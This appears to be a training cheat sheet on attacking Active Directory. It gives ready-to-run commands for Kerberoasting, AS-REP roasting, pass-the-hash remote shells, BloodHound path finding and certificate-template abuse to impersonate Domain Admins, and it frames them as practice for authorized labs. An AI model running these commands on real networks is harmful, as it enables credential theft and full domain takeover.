Active Directory Attacks Guide | Kerberoasting, BloodHound | Zentrion

⚠️ Warning: These techniques are highly disruptive. Only execute these attacks on networks you have explicit, written authorization to test (e.g., dedicated practice labs).

Phase 1: AD Enumeration

Before launching attacks, you must map the network, identify Domain Controllers, and enumerate users and groups.

Find the Domain Controller (DC)

# From a Kali Linux attack box:
nmap -sV -sC <target_ip>

# Look for open ports:
# 88 (Kerberos), 135 (RPC), 389 (LDAP), 445 (SMB), 636 (LDAPS)

Enumerate Users & Groups

We use CrackMapExec (now often forked as NetExec / nxc) or Impacket to query the DC.

# Enumerate users (Anonymous/Null session if enabled)
crackmapexec smb <target_ip> -u '' -p '' --users

# Enumerate groups
crackmapexec smb <target_ip> -u '' -p '' --groups

# Enumerate users using Impacket (requires valid credentials)
getADUsers.py domain/user:pass@dc.target.com

Phase 2: Kerberoasting

Kerberoasting targets Service Principal Names (SPNs). When a user requests a ticket (TGS) to access a service, the DC encrypts part of the ticket with the service account's password hash. You can extract this ticket and crack it offline.

# Step 1: Find SPNs and Extract Tickets (Using Impacket from Kali)
GetUserSPNs.py -dc-ip <dc_ip> domain/user:pass -request -outputfile tickets.txt

# Step 2: Crack Tickets Offline (Hashcat mode 13100)
hashcat -m 13100 tickets.txt /usr/share/wordlists/rockyou.txt

# Step 2 Alternative: Using John the Ripper
john --format=krb5tgs tickets.txt --wordlist=rockyou.txt

Phase 3: AS-REP Roasting

If a user account has the "Do not require Kerberos preauthentication" property enabled, anyone can request an AS-REP ticket for that user, which contains data encrypted with the user's password hash.

# Step 1: Find Vulnerable Accounts and Extract Hash
GetNPUsers.py domain/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat > asrep_hashes.txt

# Step 2: Crack AS-REP Hashes (Hashcat mode 18200)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Phase 4: Pass-the-Hash (PtH)

In Windows environments, if you obtain an NTLM hash (e.g., from dumping the SAM database or via DCSync), you do not need to crack it to authenticate. You can simply "pass the hash."

# Execute commands using an NTLM hash with CrackMapExec:
crackmapexec smb <target_ip> -u target_user -H <NTLM_HASH>

# Remote Shell via Impacket's PsExec:
psexec.py domain/user:<NTLM_HASH>@<target_ip> cmd.exe

# Remote Shell via WMI (stealthier):
wmiexec.py domain/user:<NTLM_HASH>@<target_ip>

Phase 5: BloodHound (Visualizing Attack Paths)

BloodHound uses graph theory to reveal hidden relationships and attack paths within Active Directory.

# 1. Collect Data (from a compromised Windows machine in the domain)
# Download SharpHound and run:
SharpHound.exe -c All -zn domain.com -d domain.com

# 2. This generates a zip file. Transfer it back to your Kali box.
# 3. Start Neo4j (database) and BloodHound GUI on Kali.
# 4. Import the zip file.
# 5. Right-click the compromised user -> "Find shortest path to Domain Admins".

Phase 6: AD CS (Certificate Services) Attacks

Misconfigured Certificate Authorities (AD CS) allow attackers to request certificates on behalf of other users (including Domain Admins).

# 1. Enumerate vulnerable certificate templates using Certipy (Free tool)
pip install certipy
certipy find -u user@domain.com -dc-ip <dc_ip> -v

# 2. ESC1 Attack (If a template allows Client Authentication & ENROLLEE_SUPPLIES_SUBJECT)
# Request a certificate for the Administrator account
certipy req -u user@domain.com -p pass -ca <CA_NAME> -template <VULN_TEMPLATE> -upn administrator@domain.com

# 3. Use the generated certificate to get the Administrator NTLM hash
certipy auth -pfx administrator.pfx -dc-ip <dc_ip>

Free AD Practice Labs

Building an AD lab from scratch is complex. Use these open-source resources instead:

Game of Active Directory (GoAD) — An open-source, automated vulnerable AD lab built with Vagrant.
GOAD by Orange Cyberdefense — Another excellent automated vulnerable lab provisioning tool.
BloodHound — The essential tool for visualizing AD attack paths.

Active Directory Attacks – Complete Guide